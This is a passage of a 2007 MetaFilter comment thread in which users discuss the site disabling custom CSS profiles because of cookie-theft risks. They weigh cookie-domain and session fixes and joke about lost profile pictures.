Going with Livejournal's approach might be the best solution. You could restrict the cookie domains and serve profiles from .user.metafilter.com.
posted by Olli at 5:12 PM on April 15, 2007
I've never bought into the "we've never heard of it before so it can't possibly pose a threat to us" line - I've seen too many folks get burned with that logic.
Look, what I was saying was that I had never seen this exploit in the wild, and it just seemed a little odd that CSS has this capability built into it when the point of CSS was to handle style and style only. I wasn't saying it was impossible, I just thought it really odd that it hasn't scared the bejeezus out of the browser makers enough to come up with a fix.
After reading about the LJ exploits, I guess my fears are confirmed, but I'd like to bring this back as onsite CSS with some filtering on it, and redoing the cookie/login system to be more robust even if an exploit is figured out.
Sucks, but it's for the best. Thanks anyway Matt.
posted by dw at 5:25 PM on April 15, 2007
Look, what I was saying was that I had never seen this exploit in the wild, and it just seemed a little odd that CSS has this capability built into it when the point of CSS was to handle style and style only. I wasn't saying it was impossible, I just thought it really odd that it hasn't scared the bejeezus out of the browser makers enough to come up with a fix.
After reading about the LJ exploits, I guess my fears are confirmed, but I'd like to bring this back as onsite CSS with some filtering on it, and redoing the cookie/login system to be more robust even if an exploit is figured out.
Sucks, but it's for the best. Thanks anyway Matt.
posted by dw at 5:25 PM on April 15, 2007
“Still, I wouldn't mind seeing 14kers and below allowed to use it...”
Wow. That's surprisingly anti-egalitarian and also very specific. Have I just been trolled?
posted by Ethereal Bligh at 6:38 PM on April 15, 2007
Wow. That's surprisingly anti-egalitarian and also very specific. Have I just been trolled?
posted by Ethereal Bligh at 6:38 PM on April 15, 2007
What's the matter quonsar, too much booze or not enough? Your life may be an open book but I've got data I'd rather the whole world not have access to.
posted by Mitheral at 6:39 PM on April 15, 2007
posted by Mitheral at 6:39 PM on April 15, 2007
EB, yeah, I didn't respond because I think almost nobody would seriously support something like that. It'd be literally the first class-system initiated on mefi. All for the fact that someone just happened to arrive here early (when registrations were closed!)
posted by Firas at 6:44 PM on April 15, 2007
posted by Firas at 6:44 PM on April 15, 2007
I don't miss the IMG tag. But I do miss customized profiles. Hope we (and by we, I mean you smart computer people) can figure out a way to make it happen.
posted by ThePinkSuperhero at 8:07 PM on April 15, 2007 [1 favorite]
posted by ThePinkSuperhero at 8:07 PM on April 15, 2007 [1 favorite]
What's the matter quonsar, too much booze or not enough?
The man lost the .GIFs in his profile, you insensitive bastard.
posted by Alvy Ampersand at 8:08 PM on April 15, 2007
The man lost the .GIFs in his profile, you insensitive bastard.
posted by Alvy Ampersand at 8:08 PM on April 15, 2007
Why don't we just remove the images part, and keep the rest of the CSS-customization for the time being? It sounds like the whole secure images thing isn't going to happen anytime soon, judging by the length of this thread.
posted by theiconoclast31 at 8:12 PM on April 15, 2007
posted by theiconoclast31 at 8:12 PM on April 15, 2007
obviously, it's not muffin shitting in Mitheral's sandbox.
posted by quonsar at 8:22 PM on April 15, 2007
posted by quonsar at 8:22 PM on April 15, 2007
Re: session-based cookies, CivilDisobedient recommended above that you tie sessions to specific IP addresses, but let me be the voice of dissent here -- I worked for about two weeks to try to reproduce a problem a user was having on one of my websites, and it finally came down to the fact that they were using an ISP which proxied every one of their web requests, and there was no guarantee that two requests within seconds of each other would appear to the outside world as coming from the same proxy server. So my session-based management -- which tied users to the IP address they logged in from -- wouldn't see their subsequent hits as valid because the ISP switched proxies mid-stream... it sucked. And I subsequently learned that there are a lot more ISPs and corporate networks that do this than you'd think; I had to give up tying sessions to IP addresses entirely.
posted by delfuego at 8:50 PM on April 15, 2007
posted by delfuego at 8:50 PM on April 15, 2007
I gotta hand it to Matt. What an elaborate scheme to con Quonsar into modifying his profile page and then lose his pictures.
So, how many of you were in on it?
posted by Dave Faris at 8:51 PM on April 15, 2007
So, how many of you were in on it?
posted by Dave Faris at 8:51 PM on April 15, 2007
Excellent. I'm off to write CSS to make everything blink.
posted by davejay at 10:13 PM on April 15, 2007
posted by davejay at 10:13 PM on April 15, 2007
rats :( i had a cool CSS file whipped up and everything.
posted by nihlton at 3:09 AM on April 16, 2007
posted by nihlton at 3:09 AM on April 16, 2007
So, how many of you were in on it?
it was the youtube viewer that sucked me in, moran.
posted by quonsar at 4:26 AM on April 16, 2007
it was the youtube viewer that sucked me in, moran.
posted by quonsar at 4:26 AM on April 16, 2007
Damn you, Matt. Announce that custom CSS profiles are available, publish a list of updated profiles, and then don't bother announcing publicly that the feature is disabled until I've spent 20 minutes clicking on every profile link trying to see evidence of this thing in operation. Can you add a note somewhere obvious about how the CSS feature is actually disabled so further latecomers don't waste their time?
I'm ungruntled.
[Out of curiousness, why does Gator's profile seem to be the only one still displaying the CSS trickery?]
posted by Milkman Dan at 8:14 AM on April 16, 2007
I'm ungruntled.
[Out of curiousness, why does Gator's profile seem to be the only one still displaying the CSS trickery?]
posted by Milkman Dan at 8:14 AM on April 16, 2007
I think Gator's profile looked like that before the new CSS trickery thing came along.
If you look at the source, the style comes from a style tag in the page, not a link to an external stylesheet. These days, style tags are filtered out from user pages whenever they are edited.
posted by Aloysius Bear at 8:37 AM on April 16, 2007
If you look at the source, the style comes from a style tag in the page, not a link to an external stylesheet. These days, style tags are filtered out from user pages whenever they are edited.
posted by Aloysius Bear at 8:37 AM on April 16, 2007
[Out of curiousness, why does Gator's profile seem to be the only one still displaying the CSS trickery?]
Hey, yea, that's not fair. I want purty pictures.
posted by thanotopsis at 8:54 AM on April 16, 2007
Hey, yea, that's not fair. I want purty pictures.
posted by thanotopsis at 8:54 AM on April 16, 2007
gator's mods were born long, long ago; before the swampy mist of script exploits closed in and cut off his lonely peninsula.
It is said, as long he does not return to change his preferences, gator's totem will remain and guard the village from evil spirits. However, the elders warn, should he ever change the size of font or his email address, gator's spirit will be stripped from his profile by mathowie's protective amulet and the forces of the mundane will creep further towards us amidst the closing darkness.
To keep gator assuaged, we sacrifice members who joined after mid-2006, although scientists say this is superstitious and a waste of perfectly good explosives.
posted by NinjaTadpole at 8:57 AM on April 16, 2007 [2 favorites]
It is said, as long he does not return to change his preferences, gator's totem will remain and guard the village from evil spirits. However, the elders warn, should he ever change the size of font or his email address, gator's spirit will be stripped from his profile by mathowie's protective amulet and the forces of the mundane will creep further towards us amidst the closing darkness.
To keep gator assuaged, we sacrifice members who joined after mid-2006, although scientists say this is superstitious and a waste of perfectly good explosives.
posted by NinjaTadpole at 8:57 AM on April 16, 2007 [2 favorites]
Gaining and then losing CSS abilities makes baby Jesus sin.
posted by Brandon Blatcher at 9:14 AM on April 16, 2007
posted by Brandon Blatcher at 9:14 AM on April 16, 2007
I was all excited and tried to check people's pages and thought my custom-MySpace-blocking Greasemonkey script was somehow working here as well. Turns out I was just late to the party.
posted by brundlefly at 11:15 AM on April 16, 2007
posted by brundlefly at 11:15 AM on April 16, 2007
Matt,
FYI, when after updating my profile, the "Your changes have been submitted" page still shows some custom css (just colors and fonts). Not a big deal, but thought you should know if you didn't.
posted by Brandon Blatcher at 5:30 AM on April 17, 2007
FYI, when after updating my profile, the "Your changes have been submitted" page still shows some custom css (just colors and fonts). Not a big deal, but thought you should know if you didn't.
posted by Brandon Blatcher at 5:30 AM on April 17, 2007
It's not totally disabled; if you've enabled it, you can still see its effects on your own "Customize Metafilter" page, http://www.metafilter.com/contribute/customize_action.cfm. Presumably this is safe because it only shows you your own custom CSS, not anyone else's.
posted by ikkyu2 at 9:15 PM on April 17, 2007
posted by ikkyu2 at 9:15 PM on April 17, 2007
Except that you don't get to that page by clicking the link I provided; you get to it by clicking edit profile and then saving your preferences by pressing the button at the bottom.
There's my little dancing bear!
posted by ikkyu2 at 9:16 PM on April 17, 2007
There's my little dancing bear!
posted by ikkyu2 at 9:16 PM on April 17, 2007
You are not logged in, either login or create an account to post comments
Now to write some arcane CSS3 that no browser can read.
posted by dw at 9:50 PM on April 14, 2007